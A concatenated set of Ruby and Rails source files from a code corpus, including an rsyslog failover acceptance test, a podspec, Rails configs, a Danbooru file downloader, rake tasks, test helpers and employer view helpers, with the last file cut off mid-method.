apply_manifest_on(client, client_failover_manifest_small_queue, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
# Make sure logs are still hitting the failover server
(21..30).each do |msg|
on client, "logger -t FOO TEST-#{msg}-#{@msg_uuid}-MSG"
end
# Validate Failover
on failover_server, "grep TEST-21-#{@msg_uuid}-MSG #{remote_log}"
on failover_server, "grep TEST-29-#{@msg_uuid}-MSG #{remote_log}"
# Make sure that *all* remote logging is stopped
(failover_servers + servers).each do |server|
on server, 'pkill -9 rsyslog || true'
end
sleep(2)
# Write some new logs and make sure that they don't hit the remote systems
(31..40).each do |msg|
on client, "logger -t FOO TEST-#{msg}-#{@msg_uuid}-MSG"
end
(failover_servers + servers).each do |server|
expect_failure("should not log to #{server} servers when not active") do
on server, "grep TEST-31-#{@msg_uuid}-MSG #{remote_log}"
on server, "grep TEST-39-#{@msg_uuid}-MSG #{remote_log}"
end
end
# Check to see if we now have a queue on disk
on client, 'test -f /var/spool/rsyslog/test_queue_action\.[[:digit:]][[:digit:]]*'
end
end
# This one is weird. From experience, it seems that rsyslog will only flush
# the queue when the action that is tied to the queue recovers. This means
# that the failover system has to come back online before anything will
# flush.
context 'rsyslog handles failover recovery' do
it 'should flush the queue when the last failover server recovers' do
failover_server = failover_servers.last
remote_log = "/var/log/hosts/#{client_fqdn}/everything.log"
# Let Puppet restart everything properly on the failover server and give
# it a couple of seconds to recover.
apply_manifest_on(failover_server, server_manifest, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
sleep(2)
# See if the queue has flushed properly
# Note: The queue file remains on the system, so we need to check the
# failover server for content.
# Details: http://blog.gerhards.net/2013/07/rsyslog-why-disk-assisted-queues-keep.html
# Messages should exist on the failover server
# Sometimes this can take quite a while...
# Between 20 and 30 Seconds seems to be about the norm for a full flush
$stdout.puts("Waiting for the queue to flush...")
sleep(30)
on failover_server, "grep TEST-31-#{@msg_uuid}-MSG #{remote_log}"
on failover_server, "grep TEST-39-#{@msg_uuid}-MSG #{remote_log}"
end
end
context 'rsyslog handles primary server recovery' do
it 'should log to the primary servers when they recover' do
remote_log = "/var/log/hosts/#{client_fqdn}/everything.log"
servers.each do |server|
apply_manifest_on(server, server_manifest, :hiera_config => client.puppet['hiera_config'], :catch_failures => true)
end
# Let the logs start flowing again
sleep(2)
(41..50).each do |msg|
on client, "logger -t FOO TEST-#{msg}-#{@msg_uuid}-MSG"
end
# Sometimes this can take a while to flush
sleep(10)
servers.each do |server|
on server, "grep TEST-41-#{@msg_uuid}-MSG #{remote_log}"
on server, "grep TEST-50-#{@msg_uuid}-MSG #{remote_log}"
end
failover_servers.each do |server|
expect_failure("should not log to #{server} servers when not active") do
on server, "grep TEST-41-#{@msg_uuid}-MSG #{remote_log}"
on server, "grep TEST-49-#{@msg_uuid}-MSG #{remote_log}"
end
end
end
end
end
| 35.811644 | 142 | 0.63326 |
6afdc5ebace0e11870a438872c80a5d69a865bd4 | 700 | Pod::Spec.new do |s|
s.name = "SlideMenuControllerSwift"
s.version = "4.0.0"
s.summary = "iOS Slide View based on iQON, Feedly, Google+, Ameba iPhone app."
s.homepage = "https://github.com/dekatotoro/SlideMenuControllerSwift"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "Yuji Hato" => "[email protected]" }
s.social_media_url = "https://twitter.com/dekatotoro"
s.platform = :ios
s.ios.deployment_target = "9.0"
s.source = { :git => "https://github.com/dekatotoro/SlideMenuControllerSwift.git", :tag => s.version }
s.source_files = "Source/*.swift"
s.requires_arc = true
s.swift_version = '4.2'
end
| 43.75 | 110 | 0.622857 |
031bf3506cdd8e0729738eeef9a960628c49527e | 879 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
Bundler.require(*Rails.groups)
require "csv_rb"
module Dummy
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
end
end
| 38.217391 | 99 | 0.718999 |
ab1cf63ae12630c5aaf706114329aad905f70e46 | 4,671 | module Downloads
class File
class Error < Exception ; end
attr_reader :data, :options
attr_accessor :source, :original_source, :downloaded_source
def initialize(source, options = {})
# source can potentially get rewritten in the course
# of downloading a file, so check it again
@source = source
@original_source = source
# the URL actually downloaded after rewriting the original source.
@downloaded_source = nil
# we sometimes need to capture data from the source page
@data = {}
@options = options
@data[:get_thumbnail] = options[:get_thumbnail]
end
def size
url, headers, _ = before_download(@source, @data)
options = { timeout: 3, headers: headers }.deep_merge(Danbooru.config.httparty_options)
res = HTTParty.head(url, options)
res.content_length
end
def download!
url, headers, @data = before_download(@source, @data)
output_file = Tempfile.new(binmode: true)
http_get_streaming(uncached_url(url, headers), output_file, headers)
@downloaded_source = url
@source = after_download(url)
output_file
end
def before_download(url, datums)
headers = Danbooru.config.http_headers
RewriteStrategies::Base.strategies.each do |strategy|
url, headers, datums = strategy.new(url).rewrite(url, headers, datums)
end
return [url, headers, datums]
end
def after_download(src)
src = fix_twitter_sources(src)
if options[:referer_url].present?
src = set_source_to_referer(src, options[:referer_url])
end
src
end
def validate_local_hosts(url)
ip_addr = IPAddr.new(Resolv.getaddress(url.hostname))
if Danbooru.config.banned_ip_for_download?(ip_addr)
raise Error.new("Banned server for download")
end
end
def http_get_streaming(src, file, headers = {}, max_size: Danbooru.config.max_file_size)
tries = 0
url = URI.parse(src)
while true
unless url.is_a?(URI::HTTP) || url.is_a?(URI::HTTPS)
raise Error.new("URL must be HTTP or HTTPS")
end
validate_local_hosts(url)
begin
size = 0
options = { stream_body: true, timeout: 10, headers: headers }
res = HTTParty.get(url, options.deep_merge(Danbooru.config.httparty_options)) do |chunk|
size += chunk.size
raise Error.new("File is too large (max size: #{max_size})") if size > max_size && max_size > 0
file.write(chunk)
end
if res.success?
file.rewind
return file
else
raise Error.new("HTTP error code: #{res.code} #{res.message}")
end
rescue Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::EIO, Errno::EHOSTUNREACH, Errno::ECONNREFUSED, IOError => x
tries += 1
if tries < 3
retry
else
raise
end
end
end # while
end # def
def fix_twitter_sources(src)
if src =~ %r!^https?://(?:video|pbs)\.twimg\.com/! && original_source =~ %r!^https?://twitter\.com/!
original_source
elsif src =~ %r!^https?://img\.pawoo\.net/! && original_source =~ %r!^https?://pawoo\.net/!
original_source
else
src
end
end
def set_source_to_referer(src, referer)
if Sources::Strategies::Nijie.url_match?(src) ||
Sources::Strategies::Twitter.url_match?(src) || Sources::Strategies::Twitter.url_match?(referer) ||
Sources::Strategies::Pawoo.url_match?(src) ||
Sources::Strategies::Tumblr.url_match?(src) || Sources::Strategies::Tumblr.url_match?(referer) ||
Sources::Strategies::ArtStation.url_match?(src) || Sources::Strategies::ArtStation.url_match?(referer)
strategy = Sources::Site.new(src, :referer_url => referer)
strategy.referer_url
else
src
end
end
private
# Prevent Cloudflare from potentially mangling the image. See issue #3528.
def uncached_url(url, headers = {})
url = Addressable::URI.parse(url)
if is_cloudflare?(url, headers)
url.query_values = (url.query_values || {}).merge(danbooru_no_cache: SecureRandom.uuid)
end
url
end
def is_cloudflare?(url, headers = {})
Cache.get("is_cloudflare:#{url.origin}", 4.hours) do
res = HTTParty.head(url, { headers: headers }.deep_merge(Danbooru.config.httparty_options))
raise Error.new("HTTP error code: #{res.code} #{res.message}") unless res.success?
res.key?("CF-Ray")
end
end
end
end
| 30.331169 | 118 | 0.623207 |
3350d1ad22ec3fa3c7fc8f2189fd908c26b779ce | 207 | # Ruby
good_pays = records.select {|r| r.last >= 8000}
names = good_pays.map {|r| "#{r[1]} ##{r[2]}"} # ["Jofrey Baratheon", "Tyrion Lannister", "Eddard Stark", "Daenerys Targaryen", "Cersei Lannister"]
| 51.75 | 151 | 0.63285 |
114247001992bf72ced43e4bddef12b645aedc05 | 418 | class Organization < ApplicationRecord
extend FriendlyId
acts_as_paranoid
include NkSyncable
has_and_belongs_to_many :members, class_name: 'Person'
friendly_id :name, use: :slugged
has_many :paper_originators, as: :originator, dependent: :destroy
has_many :papers, -> { answers }, through: :paper_originators
validates :name, uniqueness: true
def nomenklatura_dataset
'ka-parties'
end
end
| 22 | 67 | 0.758373 |
1c0a41012ae2b781f7076591e3d38527941c9dbc | 1,711 | class PryMoves::TracedMethod < Hash
@@last = nil
def self.last
@@last
end
def initialize(binding_)
super()
method = find_method_definition binding_
if method
source = method.source_location
set_method({
file: source[0],
start: source[1],
name: method.name,
end: (source[1] + method.source.count("\n") - 1)
})
else
set_method({file: binding_.eval('__FILE__')})
end
end
def within?(file, line, id = nil)
return unless self[:file] == file
return unless self[:start].nil? or
line.between?(self[:start], self[:end])
return unless id.nil? or self[:name] == id # fix for bug in traced_method: return for dynamic methods has line number inside of caller
true
end
def binding_inside?(binding)
within? *binding.eval('[__FILE__, __LINE__, __method__]')
end
def before_end?(line)
self[:end] and line < self[:end]
end
private
def find_method_definition(binding)
method_name, obj, file =
binding.eval '[__method__, self, __FILE__]'
return unless method_name
method = obj.method(method_name)
return method if method.source_location[0] == file
# If found file was different - search definition at superclasses:
obj.class.ancestors.each do |cls|
if cls.instance_methods(false).include? method_name
method = cls.instance_method method_name
return method if method.source_location[0] == file
end
end
PryMoves.messages << "⚠️ Unable to find definition for method #{method_name} in #{obj}"
nil
end
def set_method(method)
#puts "set_traced_method #{method}"
merge! method
@@last = self
end
end | 24.098592 | 138 | 0.651081 |
f800cea00139d7d19fd208f2570e8f9310d00bbc | 4,381 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
# or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress JavaScripts and CSS.
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Store uploaded files on the local file system (see config/storage.yml for options)
config.active_storage.service = :amazon
# Mount Action Cable outside main process or domain
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment)
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "miracle-drugs_#{Rails.env}"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# CloudFront CDN
config.paperclip_defaults = {
:storage => :s3,
:url => ':s3_alias_url',
:s3_host_alias => "d1mcn60cch4n75.cloudfront.net",
:path => '/:class/:attachment/:id_partition/:style/:filename'
}
end
| 42.533981 | 104 | 0.715818 |
bf0395e681708a1d09f61f18cfbbb71f881d5d15 | 658 | require_relative 'boot'
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module TraJapa
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.2
# Settings in config/environments/* take precedence over those specified here.
# Application configuration can go into files in config/initializers
# -- all .rb files in that directory are automatically loaded after loading
# the framework and any gems in your application.
end
end
| 32.9 | 82 | 0.764438 |
f811bdb8a349433862d37527f01eab5dfe0829b7 | 221 | require 'rubygems'
require 'actionpack'
require 'action_controller'
require 'action_controller/test_process'
require 'test/unit'
require 'mocha'
require File.dirname(__FILE__) + '/../lib/totally_restful_authorization'
| 20.090909 | 72 | 0.800905 |
f89d6b12e18807e2928043591d52a6f5028022d1 | 2,008 | require 'rdoc/task'
require 'rails/api/task'
# Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
class RDocTaskWithoutDescriptions < RDoc::Task
include ::Rake::DSL
def define
task rdoc_task_name
task rerdoc_task_name => [clobber_task_name, rdoc_task_name]
task clobber_task_name do
rm_r rdoc_dir rescue nil
end
task :clobber => [clobber_task_name]
directory @rdoc_dir
task rdoc_task_name => [rdoc_target]
file rdoc_target => @rdoc_files + [Rake.application.rakefile] do
rm_r @rdoc_dir rescue nil
@before_running_rdoc.call if @before_running_rdoc
args = option_list + @rdoc_files
if @external
argstring = args.join(' ')
sh %{ruby -Ivendor vendor/rd #{argstring}}
else
require 'rdoc/rdoc'
RDoc::RDoc.new.document(args)
end
end
self
end
end
namespace :doc do
def gem_path(gem_name)
path = $LOAD_PATH.grep(/#{gem_name}[\w.-]*\/lib$/).first
yield File.dirname(path) if path
end
RDocTaskWithoutDescriptions.new("app") { |rdoc|
rdoc.rdoc_dir = 'doc/app'
rdoc.template = ENV['template'] if ENV['template']
rdoc.title = ENV['title'] || "Rails Application Documentation"
rdoc.options << '--line-numbers'
rdoc.options << '--charset' << 'utf-8'
rdoc.rdoc_files.include('README.rdoc')
rdoc.rdoc_files.include('app/**/*.rb')
rdoc.rdoc_files.include('lib/**/*.rb')
}
Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
# desc 'Generate documentation for the Rails framework.'
Rails::API::AppTask.new('rails')
# desc "Generate Rails Guides"
task :guides do
rails_gem_dir = Gem::Specification.find_by_name("rails").gem_dir
require File.expand_path(File.join(rails_gem_dir, "/guides/rails_guides"))
RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
end
end
| 30.892308 | 163 | 0.679781 |
0842d456b263a75b00a9ea083490657b6ec42adc | 410 | require 'test_helper'
module AtlanticaOnlineCraftCalculatorEngine
class CustomPricesControllerTest < ActionController::TestCase
test 'index' do
get :index
assert_response :success
end
test 'update' do
put :update
assert_redirected_to custom_prices_path
end
test 'destroy' do
delete :destroy
assert_redirected_to custom_prices_path
end
end
end
| 19.52381 | 63 | 0.717073 |
1a75ebf91f431124f90956c7042b85814a1909b4 | 1,880 | module PageObjectModel
module PageActions
def tap_on_saved_card
user_library_page.user_library_saved_card_popup.payment_card_number.touch
end
def tap_on_pay_now_button
user_library_page.user_library_payment_confirmation_popup.pay_now_button.touch
end
def tap_on_goto_my_library_button
user_library_page.new_book_downloading_popup.goto_my_library_button.touch
end
def choose_to_purchase_with_new_card
shop_page.add_new_card_button.touch
end
def choose_not_save_card
shop_page.enter_card_details_popup.save_details_switch.touch
end
def pay_with_a_new_card(card_type, card_details_storage)
choose_to_purchase_with_new_card
wait_for{ expect(shop_page).to have_enter_your_card_details_popup }
choose_not_save_card if card_details_storage.include?('not')
enter_card_details(card_type)
shop_page.enter_card_details_popup.next_button.scroll_to
shop_page.enter_card_details_popup.next_button.touch
end
#needs to be revisited
def enter_card_details(card_type)
card_type = card_type.delete(' ').downcase
card_number = test_data['payment']["#{card_type}"]
expiry_month = test_data['payment']['expiry_month']
expiry_year = test_data['payment']['expiry_year']
security_code = test_data['payment']['expiry_year']
name_on_card = test_data['payment']['name_on_card']
address_line_one = test_data['payment']['address_line_one']
address_line_two = test_data['payment']['address_line_two']
town_or_city = test_data['payment']['town_or_city']
postcode = test_data['payment']['postcode']
shop_page.fill_in_card_details(card_number, expiry_month, expiry_year, security_code, name_on_card)
shop_page.fill_in_address_details(address_line_one, address_line_two, town_or_city, postcode)
end
end
end | 39.166667 | 105 | 0.766489 |
1cfeec3a277cbc850e154c076553a1379c54c7a4 | 253 | require 'rails_helper'
RSpec.describe "items/new", type: :view do
before(:each) do
assign(:item, Item.new())
end
it "renders new item form" do
render
assert_select "form[action=?][method=?]", items_path, "post" do
end
end
end
| 16.866667 | 67 | 0.648221 |
87c4dd3fece1a917a907b7b07e846e6abcccc49d | 1,757 | # encoding: utf-8
module RailsBestPractices
module Reviews
# Review a view file to make sure there is no complex logic call for model.
#
# See the best practice details here https://rails-bestpractices.com/posts/2010/07/24/move-code-into-model/
#
# Implementation:
#
# Review process:
# check if, unless, elsif there are multiple method calls or attribute assignments apply to one receiver,
# and the receiver is a variable, then they should be moved into model.
class MoveCodeIntoModelReview < Review
interesting_nodes :if, :unless, :elsif, :ifop, :if_mod, :unless_mod
interesting_files VIEW_FILES
url 'https://rails-bestpractices.com/posts/2010/07/24/move-code-into-model/'
def initialize(options={})
super(options)
@use_count = options['use_count'] || 2
end
# check if node to see whose conditional statementnodes contain multiple call nodes with same receiver who is a variable.
#
# it will check every call and assignment nodes in the conditional statement nodes.
#
# if there are multiple call and assignment nodes who have the same receiver,
# and the receiver is a variable, then the conditional statement nodes should be moved into model.
add_callback :start_if, :start_unless, :start_elsif, :start_ifop, :start_if_mod, :start_unless_mod do |node|
node.conditional_statement.grep_nodes(sexp_type: :call) { |child_node| remember_variable_use_count(child_node) }
variable_use_count.each do |variable_node, count|
add_error "move code into model (#{variable_node} use_count > #{@use_count})" if count > @use_count
end
reset_variable_use_count
end
end
end
end
| 42.853659 | 127 | 0.702903 |
d50f4329853ed794bc00dbfec2c796a73a0eb36f | 1,675 | require "spec_helper"
describe Bitbot::Configuration do
subject { Bitbot.configuration }
before do
allow(Bitbot).to receive(:log)
end
it "allows adding locale files" do
subject.locales = fixture("en.yml")
subject.locales = [fixture("es.yml"), fixture("dk.yml")]
expect(I18n.load_path).to include(fixture("en.yml"))
expect(I18n.load_path).to include(fixture("es.yml"))
expect(I18n.load_path).to include(fixture("dk.yml"))
end
it "allows adding and loading responders" do
subject.responders = fixture("test_responder.rb")
expect(Bitbot::Responder.descendants.map(&:to_s)).to_not include("TestResponder")
subject.load_responders
expect(Bitbot::Responder.descendants.map(&:to_s)).to include("TestResponder")
expect(Bitbot).to have_received(:log).with("Loading responders...")
expect(Bitbot).to have_received(:log).with(" loading help_responder.rb")
expect(Bitbot).to have_received(:log).with(" loading test_responder.rb")
end
it "allows providing an exception handler" do
e = nil
req = nil
subject.on_exception do |_e, _req|
e = _e
req = _req
end
subject.handle_exception("_e_", "_req_")
expect(e).to eq("_e_")
expect(req).to eq("_req_")
end
it "allows registering new listeners" do
listener = Class.new(Bitbot::Listener::Base) do
def self.type_name
:custom_type
end
end
subject.listener(listener, &(config = proc { }))
expect(subject.listeners[:custom_type]).to eq(config)
end
it "allows configuration using a block" do
Bitbot.configure do |config|
config.full_name = "Bits to the Bot"
end
end
end
| 28.389831 | 85 | 0.680597 |
b9da7b2426ed4807dc9ec843f0d1d4c54231e117 | 14,859 | module Employers::EmployerHelper
def address_kind
@family.try(:census_employee).try(:address).try(:kind) || 'home'
end
def employee_state_format(census_employee=nil, employee_state=nil, termination_date=nil)
if employee_state == "employee_termination_pending" && termination_date.present?
return "Termination Pending " + termination_date.to_s
elsif employee_state == 'employee_role_linked'
return 'Account Linked'
elsif employee_state == 'eligible'
return 'No Account Linked'
elsif employee_state == "cobra_linked" && census_employee.has_cobra_hbx_enrollment?
return "Cobra Enrolled"
else
return employee_state.humanize
end
end
def simple_enrollment_state(census_employee=nil)
hbx = census_employee.active_benefit_group_enrollments.try(:first)
hbx.present? ? "#{hbx.coverage_kind.titleize} - #{hbx.aasm_state.titleize}" : ""
end
def enrollment_state(census_employee=nil)
humanize_enrollment_states(census_employee.active_benefit_group_assignment).gsub("Coverage Selected", "Enrolled").gsub("Coverage Waived", "Waived").gsub("Coverage Terminated", "Terminated").gsub("Coverage Termination Pending", "Coverage Termination Pending").html_safe
end
def renewal_enrollment_state(census_employee=nil)
humanize_enrollment_states(census_employee.renewal_benefit_group_assignment).gsub("Coverage Renewing", "Auto-Renewing").gsub("Coverage Selected", "Enrolling").gsub("Coverage Waived", "Waiving").gsub("Coverage Terminated", "Terminating").html_safe
end
def off_cycle_enrollment_state(census_employee = nil)
humanize_enrollment_states(census_employee.off_cycle_benefit_group_assignment).gsub("Coverage Selected", "Enrolled")
.gsub("Coverage Waived", "Waived").gsub("Coverage Terminated", "Terminated")
.gsub("Coverage Termination Pending", "Coverage Termination Pending")
.html_safe
end
def humanize_enrollment_states(benefit_group_assignment)
enrollment_states = []
if benefit_group_assignment
enrollments = benefit_group_assignment.hbx_enrollments
%W(health dental).each do |coverage_kind|
if coverage = enrollments.detect{|enrollment| enrollment.coverage_kind == coverage_kind}
enrollment_states << "#{employee_benefit_group_assignment_status(benefit_group_assignment.census_employee, coverage.aasm_state)} (#{coverage_kind})"
end
end
enrollment_states << '' if enrollment_states.compact.empty?
end
"#{enrollment_states.compact.join('<br/> ').titleize.to_s}".html_safe
end
def benefit_group_assignment_status(enrollment_status)
assignment_mapping = {
'coverage_renewing' => HbxEnrollment::RENEWAL_STATUSES,
'coverage_terminated' => HbxEnrollment::TERMINATED_STATUSES,
'coverage_termination_pending' => ["coverage_termination_pending"],
'coverage_selected' => HbxEnrollment::ENROLLED_STATUSES - ["coverage_termination_pending"],
'coverage_waived' => HbxEnrollment::WAIVED_STATUSES
}
assignment_mapping.each do |bgsm_state, enrollment_statuses|
if enrollment_statuses.include?(enrollment_status.to_s)
return bgsm_state
end
end
end
def employee_benefit_group_assignment_status(census_employee, enrollment_status)
state = benefit_group_assignment_status(enrollment_status)
if census_employee.is_cobra_status?
case state
when 'coverage_waived'
'cobra_waived'
when 'coverage_renewing'
'cobra_renewed'
else
state
end
else
state
end
end
def render_plan_offerings(benefit_group)
assignment_mapping.each do |bgsm_state, enrollment_statuses|
if enrollment_statuses.include?(enrollment_status.to_s)
return bgsm_state
end
end
end
def invoice_formated_date(date)
date.strftime("%m/%d/%Y")
end
def invoice_coverage_date(date)
"#{date.next_month.beginning_of_month.strftime('%b %Y')}" rescue nil
end
def coverage_kind(census_employee=nil)
return "" if census_employee.blank? || census_employee.employee_role.blank?
enrolled = census_employee.active_benefit_group_assignment.try(:aasm_state)
if enrolled.present? && enrolled != "initialized"
begin
#kind = census_employee.employee_role.person.primary_family.enrolled_including_waived_hbx_enrollments.map(&:plan).map(&:coverage_kind).sort.reverse.uniq.join(", ")
kind = census_employee.employee_role.person.primary_family.enrolled_including_waived_hbx_enrollments.map(&:plan).map(&:coverage_kind).sort.reverse.join(", ")
rescue
kind = ""
end
else
kind = ""
end
return kind.titleize
end
def render_plan_offerings(benefit_group, coverage_type)
start_on = benefit_group.plan_year.start_on.year
reference_plan = benefit_group.reference_plan
carrier_profile = reference_plan.carrier_profile
employer_profile = benefit_group.employer_profile
profile_and_service_area_pairs = CarrierProfile.carrier_profile_service_area_pairs_for(employer_profile, start_on)
query = profile_and_service_area_pairs.select { |pair| pair.first == carrier_profile.id }
if coverage_type == "dental" && benefit_group.dental_plan_option_kind == "single_plan"
plan_count = benefit_group.elected_dental_plan_ids.count
"#{plan_count} Plans"
elsif coverage_type == "dental" && benefit_group.dental_plan_option_kind == "single_carrier"
plan_count = Plan.shop_dental_by_active_year(reference_plan.active_year).by_carrier_profile(reference_plan.carrier_profile).count
"All #{reference_plan.carrier_profile.legal_name} Plans (#{plan_count})"
else
return "1 Plan Only" if benefit_group.single_plan_type?
return "Sole Source Plan" if benefit_group.plan_option_kind == 'sole_source'
if benefit_group.plan_option_kind == "single_carrier"
plan_count= if aca_state_abbreviation == "DC"
Plan.shop_health_by_active_year(reference_plan.active_year).by_carrier_profile(reference_plan.carrier_profile).count
else
Plan.for_service_areas_and_carriers(query, start_on).shop_market.check_plan_offerings_for_single_carrier.health_coverage.and(hios_id: /-01/).count
end
"All #{reference_plan.carrier_profile.legal_name} Plans (#{plan_count})"
else
plan_count= if aca_state_abbreviation == "DC"
Plan.shop_health_by_active_year(reference_plan.active_year).by_health_metal_levels([reference_plan.metal_level]).count
else
Plan.for_service_areas_and_carriers(profile_and_service_area_pairs, start_on).shop_market.check_plan_offerings_for_metal_level.health_coverage.by_metal_level(reference_plan.metal_level).and(hios_id: /-01/).count
end
"#{reference_plan.metal_level.titleize} Plans (#{plan_count})"
end
end
end
# deprecated
def get_benefit_groups_for_census_employee
# TODO
plan_years = @employer_profile.plan_years.select{|py| (PlanYear::PUBLISHED + ['draft']).include?(py.aasm_state) && py.end_on > TimeKeeper.date_of_record}
benefit_groups = plan_years.flat_map(&:benefit_groups)
renewing_benefit_groups = @employer_profile.renewing_plan_year.benefit_groups if @employer_profile.renewing_plan_year.present?
return benefit_groups, (renewing_benefit_groups || [])
end
def get_benefit_packages_for_census_employee
initial_benefit_packages = @benefit_sponsorship.current_benefit_application&.benefit_packages unless @benefit_sponsorship.current_benefit_application&.terminated?
renewing_benefit_packages = @benefit_sponsorship.renewal_benefit_application.benefit_packages if @benefit_sponsorship.renewal_benefit_application.present?
return (initial_benefit_packages || []), (renewing_benefit_packages || [])
end
def off_cycle_benefit_packages_for_census_employee
@benefit_sponsorship.off_cycle_benefit_application&.benefit_packages || []
end
def current_option_for_initial_benefit_package
bga = @census_employee.active_benefit_group_assignment
return bga.benefit_package_id if bga && bga.benefit_package_id
application = @employer_profile.current_benefit_application
return nil if application.blank?
return nil if application.benefit_packages.empty?
application.benefit_packages[0].id
end
def current_option_for_off_cycle_benefit_package
bga = @census_employee.off_cycle_benefit_group_assignment
return bga.benefit_package_id if bga&.benefit_package_id
application = @employer_profile.off_cycle_benefit_application
return nil if application.blank?
return nil if application.benefit_packages.empty?
application.benefit_packages[0].id
end
def current_option_for_renewal_benefit_package
bga = @census_employee.renewal_benefit_group_assignment
return bga.benefit_package_id if bga && bga.benefit_package_id
application = @employer_profile.renewal_benefit_application
return nil if application.blank?
application.default_benefit_group || application.benefit_packages[0].id
end
def cobra_effective_date(census_employee)
disabled = current_user.has_hbx_staff_role? ? false : true
content_tag(:div) do
content_tag(:span,"COBRA/Continuation Effective Date: ") +
content_tag(:span, :class=>"confirm-cobra" ,:style=>"display:inline;") do
content_tag(:input, nil, :type => "text" ,:class => "text-center date-picker", :value => census_employee.suggested_cobra_effective_date , :disabled => disabled )
end
end.html_safe
end
def cobra_button(census_employee)
disabled = true
if census_employee.is_cobra_coverage_eligible?
if current_user.has_hbx_staff_role? || !census_employee.cobra_eligibility_expired?
disabled = false
end
end
button_text = 'COBRA'
toggle_class = ".cobra_confirm_"
if census_employee.cobra_terminated?
button_text = 'COBRA REINSTATE'
toggle_class = ".cobra_reinstate_"
disabled = !current_user.has_hbx_staff_role?
end
content_tag(:a, :class => "show_confirm show_cobra_confirm btn btn-primary" , :id => "show_cobra_confirm_#{census_employee.id}" ,:disabled => disabled) do
content_tag(:span, button_text, :class => "hidden-xs hidden-sm visible-md visible-lg",
:onclick => "$(this).closest('tr').nextAll('#{toggle_class}#{census_employee.id}').toggle()")
end
end
def show_cobra_fields?(employer_profile, user)
return true if user && user.has_hbx_staff_role?
return false if employer_profile.blank?
# TODO
plan_year = employer_profile.renewing_plan_year || employer_profile.active_plan_year || employer_profile.published_plan_year
return false if plan_year.blank?
return false if plan_year.is_renewing? && !employer_profile.is_converting?
plan_year.open_enrollment_contains?(TimeKeeper.date_of_record)
end
def rehire_date_min(census_employee)
return 0 if census_employee.blank?
if census_employee.employment_terminated?
(census_employee.employment_terminated_on - TimeKeeper.date_of_record).to_i + 1
elsif census_employee.cobra_eligible? || census_employee.cobra_linked? || census_employee.cobra_terminated?
(census_employee.cobra_begin_date - TimeKeeper.date_of_record).to_i + 1
else
0
end
end
def display_families_tab(user)
if user.present?
user.has_broker_agency_staff_role? || user.has_general_agency_staff_role? || user.is_active_broker?(@employer_profile)
end
end
def show_or_hide_claim_quote_button(employer_profile)
return true if employer_profile.show_plan_year.blank?
return true if employer_profile.plan_years_with_drafts_statuses
return true if employer_profile.has_active_state? && employer_profile.show_plan_year.try(:terminated_on).present? && employer_profile.show_plan_year.terminated_on > TimeKeeper.date_of_record
return false if !employer_profile.plan_years_with_drafts_statuses && employer_profile.published_plan_year.present?
false
end
def claim_quote_warnings(employer_profile)
plan_year = employer_profile.plan_years.draft[0]
return [], "#claimQuoteModal" unless plan_year
if plan_year.is_renewing?
